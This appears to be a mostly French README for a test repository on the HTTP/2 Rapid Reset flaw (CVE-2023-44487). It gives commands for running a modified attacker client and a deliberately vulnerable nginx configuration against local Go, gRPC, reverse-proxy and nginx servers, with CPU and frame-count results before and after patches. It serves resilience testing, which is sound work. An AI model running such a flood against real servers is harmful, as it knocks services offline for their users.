
Ressources de test et outil d'attaquant pour CVE-2023-44487 (HTTP/2 Rapid Reset) afin d'évaluer la résilience des serveurs sur les configurations Go, gRPC, reverse proxy et nginx.
Ce dépôt contient des ressources de test et des résultats pour le CVE-2023-44487. Il utilise une version modifiée de https://github.com/secengjeff/rapidresetclient pour tester différentes configurations de serveur Golang.
go run server.go
go run attacker.go -requests 500000
go 1.21.0
350% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)
go 1.21.3
75% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
go run grpcserver.go
go run attacker.go -requests 500000
go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)
go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)
L'attaquant n'appelle pas vraiment les points de terminaison GRPC, donc il semble n'y avoir aucune différence de comportement avec les appels http2 "normaux". Pas vraiment sûr si c'est bon ou mauvais, mais le serveur parvient à suivre le trafic.
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000
go 1.21.0
200% CPU load during the full attack
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)
go 1.21.3
150% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
Le journal du serveur contient désormais 😎
2023/10/25 14:45:54 http2 : erreur de connexion serveur depuis [::1]:60762 : erreur de connexion : ENHANCE_YOUR_CALM
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000
Avec configuration vulnérable
100% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)
Avec configuration par défaut
34% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)
Nginx cesse simplement de répondre à un grand nombre de trames